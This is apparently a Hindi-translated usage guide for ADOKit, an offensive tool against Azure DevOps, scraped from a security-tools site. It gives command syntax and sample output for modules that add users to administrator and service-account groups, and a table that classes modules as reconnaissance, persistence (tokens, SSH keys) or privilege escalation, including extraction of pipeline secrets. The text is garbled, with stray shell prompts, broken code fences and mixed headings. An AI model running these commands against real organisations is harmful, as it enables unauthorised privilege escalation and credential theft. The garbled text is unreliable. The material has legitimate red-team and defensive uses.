किसी दिए गए प्रोजेक्ट के लिए Build Administrators समूह में एक उपयोगकर्ता जोड़ें।

वाक्य-विन्यास

दिए गए प्रोजेक्ट के लिए Build Administrators समूह में एक उपयोगकर्ता को जोड़ने के लिए addbuildadmin मॉड्यूल को /project: और /user: के साथ प्रदान करें। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। देखें मॉड्यूल विवरण तालिका इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए।

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

उदाहरण आउटपुट```

C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

root@kitploit:~
### बिल्ड एडमिन हटाएं

#### उपयोग का मामला

> *किसी दिए गए प्रोजेक्ट के लिए बिल्ड एडमिनिस्ट्रेटर्स समूह से उपयोगकर्ता को हटाएं।*

#### सिंटैक्स

`removebuildadmin` मॉड्यूल को `/project:` और `/user:` के साथ प्रदान करें ताकि किसी दिए गए प्रोजेक्ट के लिए `Build Administrators` समूह से उपयोगकर्ता को हटाया जा सके। इसके अतिरिक्त, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। इस कार्रवाई को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल डिटेल्स तालिका](#module-details-table) देखें।

`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removebuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

संग्रह व्यवस्थापक जोड़ें

उपयोग मामला

प्रोजेक्ट संग्रह व्यवस्थापक समूह में एक उपयोगकर्ता जोड़ें।

सिंटैक्स

addcollectionadmin मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Administrators समूह में जोड़ा जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए मॉड्यूल विवरण तालिका देखें।

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

उदाहरण आउटपुट```

C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
       [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

root@kitploit:~
### संग्रह व्यवस्थापक हटाएं

#### उपयोग मामला

> *प्रोजेक्ट संग्रह व्यवस्थापक समूह से एक उपयोगकर्ता हटाएं।*

#### सिंटैक्स

किसी दिए गए उपयोगकर्ता को `Project Collection Administrators` समूह से हटाने के लिए `removecollectionadmin` मॉड्यूल को `/user:` के साथ प्रदान करें। इसके अलावा, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।

`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

Add Collection Build Admin

Use Case

किसी उपयोगकर्ता को Project Collection Build Administrators समूह में जोड़ें।

Syntax

addcollectionbuildadmin मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Build Administrators समूह में जोड़ा जा सके। इसके अलावा, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए मॉड्यूल विवरण तालिका देखें।

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Example Output```

C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
 [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

root@kitploit:~
### Remove Collection Build Admin

#### उपयोग केस

> *किसी उपयोगकर्ता को Project Collection Build Administrators समूह से हटाएं।*

#### सिंटैक्स

`removecollectionbuildadmin` मॉड्यूल के साथ `/user:` प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को `Project Collection Build Administrators` समूह से हटाया जा सके। साथ ही, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह कार्रवाई करने के लिए आवश्यक अनुमतियाँ देखने के लिए [Module Details Table](#module-details-table) देखें।

`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

Add Collection Build Service Account

उपयोग का मामला

प्रोजेक्ट कलेक्शन बिल्ड सर्विस अकाउंट्स समूह में एक उपयोगकर्ता जोड़ें।

वाक्यविन्यास

addcollectionbuildsvc मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Build Service Accounts समूह में जोड़ा जा सके। इसके अतिरिक्त, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए Module Details Table देखें।

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

उदाहरण आउटपुट```

C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

root@kitploit:~
### संग्रह बिल्ड सेवा खाता हटाएं

#### उपयोग केस

> *किसी उपयोगकर्ता को प्रोजेक्ट संग्रह बिल्ड सेवा खाता समूह से हटाएं।*

#### सिंटैक्स

`removecollectionbuildsvc` मॉड्यूल के साथ किसी उपयोगकर्ता को `Project Collection Build Service Accounts` समूह से हटाने के लिए `/user:` प्रदान करें। साथ ही, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह क्रिया करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।

`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:27 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

कलेक्शन सेवा खाता जोड़ें

उपयोग केस

Project Collection Service Accounts समूह में एक उपयोगकर्ता जोड़ें।

सिंटैक्स

addcollectionsvc मॉड्यूल को /user: के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को Project Collection Service Accounts समूह में जोड़ा जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस क्रिया को करने के लिए आवश्यक अनुमतियों के लिए Module Details Table देखें।

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

उदाहरण आउटपुट```

C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
     [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

root@kitploit:~
### संग्रह सेवा खाता हटाएं

#### उपयोग केस

> *किसी उपयोगकर्ता को प्रोजेक्ट संग्रह सेवा खाते समूह से हटाएं।*

#### सिंटैक्स

`removecollectionsvc` मॉड्यूल को `/user:` के साथ प्रदान करें, जो किसी दिए गए उपयोगकर्ता को `Project Collection Service Accounts` समूह से हटाने के लिए होता है। इसके अलावा, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस कार्रवाई को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।

`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

पाइपलाइन वेरिएबल प्राप्त करें

उपयोग का मामला

प्रोजेक्ट(प्रोजेक्ट्स) में उपयोग किए जा रहे किसी भी पाइपलाइन वेरिएबल को निकालें, जिसमें क्रेडेंशियल्स या अन्य उपयोगी जानकारी हो सकती है।

सिंटैक्स


Read more

टूल डाउनलोड करें
  • संग्रह सेवा खाता जोड़ें
  • संग्रह सेवा खाता हटाएं
  • पाइपलाइन चर प्राप्त करें
  • पाइपलाइन रहस्य प्राप्त करें
  • चर समूह प्राप्त करें
  • सेवा कनेक्शन प्राप्त करें
  • listpat - उपयोगकर्ता के लिए व्यक्तिगत पहुंच टोकन सूचीबद्ध करें
  • removepat - उपयोगकर्ता के लिए व्यक्तिगत पहुंच टोकन हटाएं
  • createsshkey - उपयोगकर्ता के लिए सार्वजनिक SSH कुंजी बनाएं
  • listsshkey - उपयोगकर्ता के लिए सार्वजनिक SSH कुंजियाँ सूचीबद्ध करें
  • removesshkey - उपयोगकर्ता के लिए सार्वजनिक SSH कुंजी हटाएं
  • विशेषाधिकार वृद्धि
    • addprojectadmin - किसी दिए गए प्रोजेक्ट के लिए "Project Administrators" में एक उपयोगकर्ता जोड़ें
    • removeprojectadmin - किसी दिए गए प्रोजेक्ट के लिए "Project Administrators" समूह से एक उपयोगकर्ता हटाएं
    • addbuildadmin - किसी दिए गए प्रोजेक्ट के लिए "Build Administrators" समूह में एक उपयोगकर्ता जोड़ें
    • removebuildadmin - किसी दिए गए प्रोजेक्ट के लिए "Build Administrators" समूह से एक उपयोगकर्ता हटाएं
    • addcollectionadmin - "Project Collection Administrators" समूह में एक उपयोगकर्ता जोड़ें
    • removecollectionadmin - "Project Collection Administrators" समूह से एक उपयोगकर्ता हटाएं
    • addcollectionbuildadmin - "Project Collection Build Administrators" समूह में एक उपयोगकर्ता जोड़ें
    • removecollectionbuildadmin - "Project Collection Build Administrators" समूह से एक उपयोगकर्ता हटाएं
    • addcollectionbuildsvc - "Project Collection Build Service Accounts" समूह में एक उपयोगकर्ता जोड़ें
    • removecollectionbuildsvc - "Project Collection Build Service Accounts" समूह से एक उपयोगकर्ता हटाएं
    • addcollectionsvc - "Project Collection Service Accounts" समूह में एक उपयोगकर्ता जोड़ें
    • removecollectionsvc - "Project Collection Service Accounts" समूह से एक उपयोगकर्ता हटाएं
    • getpipelinevars - किसी दिए गए प्रोजेक्ट के लिए उपयोग किए जाने वाले किसी भी पाइपलाइन चर को प्राप्त करें।
    • getpipelinesecrets - किसी दिए गए प्रोजेक्ट के लिए उपयोग किए जाने वाले किसी भी पाइपलाइन रहस्यों के नाम प्राप्त करें।
    • getvariablegroups - किसी दिए गए प्रोजेक्ट के लिए उपयोग किए जाने वाले किसी भी चर समूह और संबंधित चर प्राप्त करें।
    • getserviceconnections - किसी दिए गए प्रोजेक्ट के लिए उपयोग किए जाने वाले सेवा कनेक्शन प्राप्त करें।
  • हमला परिदृश्यमॉड्यूलविशेष अनुमतियाँ?नोट्स
    टोहीcheckनहीं
    टोहीwhoamiनहीं
    टोहीlistorgsनहीं
    टोहीlistrepoनहीं
    टोहीsearchrepoनहीं
    टोहीlistprojectनहीं
    टोहीsearchprojectनहीं
    टोहीsearchcodeनहीं
    टोहीsearchfileनहीं
    टोहीlistuserनहीं
    टोहीsearchuserनहीं
    टोहीlistteamनहीं
    टोहीsearchteamनहीं
    टोहीgetteammembersनहीं
    टोहीlistgroupनहीं
    टोहीsearchgroupनहीं
    टोहीgetgroupmembersनहीं
    टोहीgetpermissionsनहीं
    टोहीcredsनहीं
    टोहीgetbuildlogsहाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators
    टोहीlistbuildlogsहाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators
    टोहीsearchbuildlogsहाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators
    स्थायित्वcreatepatनहीं
    स्थायित्वlistpatनहीं
    स्थायित्वremovepatनहीं
    स्थायित्वcreatesshkeyनहीं
    स्थायित्वlistsshkeyनहीं
    स्थायित्वremovesshkeyनहीं
    विशेषाधिकार वृद्धिaddprojectadminहाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिremoveprojectadminहाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिaddbuildadminहाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिremovebuildadminहाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिaddcollectionadminहाँ - Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिremovecollectionadminहाँ - Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिaddcollectionbuildadminहाँ - Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिremovecollectionbuildadminहाँ - Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिaddcollectionbuildsvcहाँ - Project Collection Administrator, Project Colection Build Administrators या Project Collection Service Accounts
    विशेषाधिकार वृद्धिremovecollectionbuildsvcहाँ - Project Collection Administrator, Project Colection Build Administrators या Project Collection Service Accounts
    विशेषाधिकार वृद्धिaddcollectionsvcहाँ - Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिremovecollectionsvcहाँ - Project Collection Administrator या Project Collection Service Accounts
    विशेषाधिकार वृद्धिgetpipelinevarsहाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators
    विशेषाधिकार वृद्धिgetpipelinesecretsहाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators
    विशेषाधिकार वृद्धिgetvariablegroupsहाँ - Contributors या Readers या Build Administrators या Project Administrators या Project Team Member या Project Collection Test Service Accounts या Project Collection Build Service Accounts या Project Collection Build Administrators या Project Collection Service Accounts या Project Collection Administrators
    विशेषाधिकार वृद्धिgetserviceconnectionsहाँ - Project Administrator, Project Collection Administrator या Project Collection Service Accounts